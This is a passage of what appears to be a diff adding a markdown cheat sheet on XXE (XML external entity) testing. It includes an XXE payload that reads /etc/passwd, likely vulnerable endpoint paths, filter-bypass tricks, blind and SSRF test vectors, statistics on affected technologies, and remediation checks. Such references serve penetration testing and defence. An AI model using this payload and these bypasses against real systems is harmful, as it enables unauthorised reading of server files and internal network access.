|
|
73
|
+
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
|
74
|
+
<!DOCTYPE ANY [
|
|
75
|
+
<!ENTITY xxe SYSTEM "file:///etc/passwd">
|
|
76
|
+
]>
|
|
77
|
+
<!-- Reference &xxe; within document body -->
|
|
78
|
+
```
|
|
79
|
+
|
|
80
|
+
## Common Vulnerable Endpoints
|
|
81
|
+
```
|
|
82
|
+
/services/ServiceName?wsdl (Axis2/CXF SOAP)
|
|
83
|
+
/webservice/services/xxx (Java web services)
|
|
84
|
+
/live800/services/IVerification (Customer service platforms)
|
|
85
|
+
/opes/preview.do (Document preview)
|
|
86
|
+
/?wsdl (WSDL discovery)
|
|
87
|
+
/xmlrpc.php (XML-RPC)
|
|
88
|
+
```
|
|
89
|
+
|
|
90
|
+
## Bypass Techniques
|
|
91
|
+
- **Protocol alternatives**: When `file://` is blocked, try `gopher://`, `php://`, `data://`
|
|
92
|
+
- **Parameter entities**: Use `%entity;` instead of `&entity;` for blind XXE
|
|
93
|
+
- **Encoding tricks**: UTF-7, UTF-16 encoding to bypass XML filters
|
|
94
|
+
- **DOCX/XLSX containers**: Embed XXE in Office XML documents
|
|
95
|
+
- **Content-Type override**: Set `Content-Type: application/xml` on SOAP endpoints
|
|
96
|
+
|
|
97
|
+
## Quick Test Vectors
|
|
98
|
+
```
|
|
99
|
+
1. Add DOCTYPE with external entity to any XML input
|
|
100
|
+
2. Upload crafted DOCX with XXE in word/document.xml
|
|
101
|
+
3. Test WSDL endpoints with XML entity injection
|
|
102
|
+
4. Use Blind XXE with OOB DTD when no direct response
|
|
103
|
+
5. Test SSRF via entity pointing to internal services
|
|
104
|
+
6. Check for simplexml_load_string() in PHP (WeChat APIs)
|
|
105
|
+
```
|
|
106
|
+
|
|
107
|
+
## Affected Technologies
|
|
108
|
+
| Technology | Cases | Notes |
|
|
109
|
+
|------------|-------|-------|
|
|
110
|
+
| Java (Axis2, XFire, CXF) | ~50% | SOAP services most vulnerable |
|
|
111
|
+
| PHP (simplexml_load_string) | ~20% | WeChat SDK, CMS platforms |
|
|
112
|
+
| Java (document processing) | ~15% | DOCX/XLSX preview features |
|
|
113
|
+
| .NET (XML parsers) | ~10% | Default parser configurations |
|
|
114
|
+
| XML-RPC libraries | ~5% | Legacy RPC implementations |
|
|
115
|
+
|
|
116
|
+
## Root Causes
|
|
117
|
+
| Cause | Frequency |
|
|
118
|
+
|-------|-----------|
|
|
119
|
+
| Default XML parser allows external entities | Most common |
|
|
120
|
+
| No DTD processing restrictions | Very common |
|
|
121
|
+
| WeChat SDK sample code using unsafe parser | Common |
|
|
122
|
+
| Document preview parsing XML without restrictions | Common |
|
|
123
|
+
| Exposed WSDL/SOAP endpoints | Common |
|
|
124
|
+
|
|
125
|
+
## Remediation Verification
|
|
126
|
+
When verifying fixes, confirm:
|
|
127
|
+
- External entity processing is disabled in XML parser
|
|
128
|
+
- DTD processing is disabled or restricted
|
|
129
|
+
- `LIBXML_NOENT` flag is NOT used (PHP)
|
|
130
|
+
- `DocumentBuilderFactory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true)` (Java)
|